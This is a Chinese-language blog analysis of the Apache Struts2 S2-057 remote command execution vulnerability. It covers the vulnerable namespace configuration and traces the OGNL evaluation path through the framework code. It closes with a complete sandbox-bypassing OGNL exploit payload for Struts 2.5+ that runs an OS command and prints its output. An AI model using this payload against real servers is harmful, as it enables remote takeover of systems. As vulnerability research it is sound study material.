Struts2 s2-057远程命令执行分析 && 全版本回显Exp

一. 漏洞描述

官方是这样说的:

It is possible to perform a RCE attack when namespace value isn’t set for a result defined in underlying xml configurations and in same time, its upper action(s) configurations have no or wildcard namespace. Same possibility when using url tag which doesn’t have value and action set and in same time, its upper action(s) configurations have no or wildcard namespace.

我们先来看看一些基础知识,在struts.xml配置文件当中packet标签有一个属性字段namespace,其作用是可以让不同的packet里面包含相同action名称,换句话说就是解决action重名的问题,跟c#,php中的命名空间作用一样。

在struts中,总结起来namespace就两种:

  • 系统默认:如果用户没有在配置文件中配置namespace,则默认为空(" ")

  • 用户配置

    1. 根命名空间:"/",用户在配置文件中直接配置。

    2. “/<任意符合命名规则的字符>“:/com/test/action等。

现在让我们回到官方的漏洞描述:

namespace value isn’t set for a result defined in underlying xml configurations and in same time, its upper action(s) configurations have no or wildcard namespace.

当配置文件中result标签中没有配置namespace时,且上层的action标签中同样没有设置namespace或者使用通配符namespace的时候,可能存在远程命令执行漏洞(url tag 情况同理)。

具体示列如下:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"     "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <constant name="struts.devMode" value="true" />
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

    <package name="default" extends="struts-default">
        <action name="test" class="com.icematcha.testAction">
            <result type="redirectAction" name="one">
                <param name="actionName">index</param>
            </result>
        </action>
    </package>
    <package name="default1" extends="struts-default">
        <action name="index" class="com.icematcha.indexAction">
            <result name="two">index.jsp</result>
  <      </action>
    </package>
</struts>

为什么呢?我们接着往下看。

二. 环境搭建

1. 本文选择strus 2.5.16版本搭建漏洞环境分析。首先下载:http://archive.apache.org/dist/struts/2.5.16/struts-2.5.16-min.zip

2. IDEA新建项目,导入下载好的min包中sturst2最基础的八个lib库。

3. 修改配置文件,编写测试的action。

// test
package com.icematcha;

public class testAction {
   public String execute(){
       return "one";
   }
}

//index
package com.icematcha;

public class indexAction {
   public String execute(){
       return "two";
   }
}

三. 漏洞分析

首先定位到配置中的过滤器:org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilterStruts 2.1.3开始就用StrutsPrepareAndExecuteFilter替代了FilterDispatcher,主要功能就是拦截用户发起的请求,并进行一些预处理,再将request请求,转发给对应的action去处理。

其中的doFilter()方法就是用于将用户的request请求转发到对应的action,所以我们的请求肯定会经过这里,在此下断点,开始调试。

1535957771998

首先获取到处理后的请求Uri:${1+4}/test.action,跟着判断是不是请求静态资源,不是的话设置对应参数,通过prepare.findActionMapping寻找对应的Action类,F7步入:

1535957887645

可以看到struts将包装好的request传入了DefaultActionMapper这一实现类中的getMapping方法解析。

继续跟进,发现在getMapping方法中调用了同类的parseNameAndNamespace方法来获取map对象里的name和namespace

到此就到了漏洞的关键点了,进入parseNameAndNamespace()方法,首先获取了Uri中最后的'/'的下标,然后根据该下标值和alwaysSelectFullNamespace属性的值选择四个分支,从代码来看,namespace要想从Uri中获取,也就是从用户的输入中截取可控的话,只能走第三个分支,也就是alwaysSelectFullNamespace的值必须为Ture,且上层标签中不能有用户定义的namespace或者为缺省值,这样namespace才能完全被攻击者控制,也就是开头漏洞描述中漏洞发生的必备条件的原因。

Snipaste_2018-08-31_16-54-14

继续往下,当获取完name和namespace后,返回了对应的map对象,至此namespace已经完全可控,值为我们注入的ognl表达式,有了恶意值的注入之后,就要想办法执行了。怎么执行呢?我们继续往下看。

当找到第一个Action并执行完成返回对应的结果后,就到了对type为redirectAction的Result进行解析,调用的是ServletActionRedirectResultexecute()方法,先是利用actionMapper.getUriFromActionMapping将map对象组装成重定向的地址,再将其传给父类的execute()方法并执行:

Snipaste_2018-08-31_18-25-31

一层层调用上去,最终调用的是StrutsResultSupport.execute()方法,该方法先利用当前类中的conditionalParse()方法对传入的invocation解析,conditionalParse()接着调用TextParseUtil.translateVariables()做识别之后,最后调用OgnlTextParser.evaluate()解析location中的OGNL表达式,得到执行结果,由于执行链较长,就不一一截图了。

整体调用栈如下:

Snipaste_2018-08-31_18-44-36

执行结果:

Snipaste_2018-08-31_18-47-08

至此,整个漏洞利用的原理和流程就清楚了,开始为什么把Result标签的type设置为redirectAction也就明了了。至于其他type的Result是否还有同样的问题,经过笔者测试,确实type为chainPostback的Result同样能触发此漏洞。

Snipaste_2018-08-31_19-16-48

四. Exp的构造

关于exp的构造,我们实验室已经给出了2.3+版本的回显利用:https://www.anquanke.com/post/id/157823。

具体的利用脚本也可以参看我的github:https://github.com/iceMatcha/S2-057-exp

这里我给出2.5+版本的回显exp,大致利用与以前的048相同,关键点是利用#request域下的struts.valueStack对象中存在context属性从而获取到context来绕过了2.5+的沙盒。PS:以下exp首次执行时会爆栈溢出异常返回500,因为此时你的context还没压入栈中,第二次执行就会返回命令执行结果。

最终的exp如下:

${(#ct=#request['struts.valueStack'].context)
.(#cr=#ct['com.opensymphony.xwork2.ActionContext.container'])
.(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ou.setExcludedClasses('java.lang.Shutdown'))
.(#ou.setExcludedPackageNames('sun.reflect.'))
.(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#ct.setMemberAccess(#dm))
.(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter())
.(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream()))).(#w.close())}

利用截图:

1535964979995

1535972546378

分析完整体来看,此次漏洞的影响并不是很大,但是重在分析学习漏洞原理嘛。

五.参考链接

发表评论

电子邮件地址不会被公开。 必填项已用*标注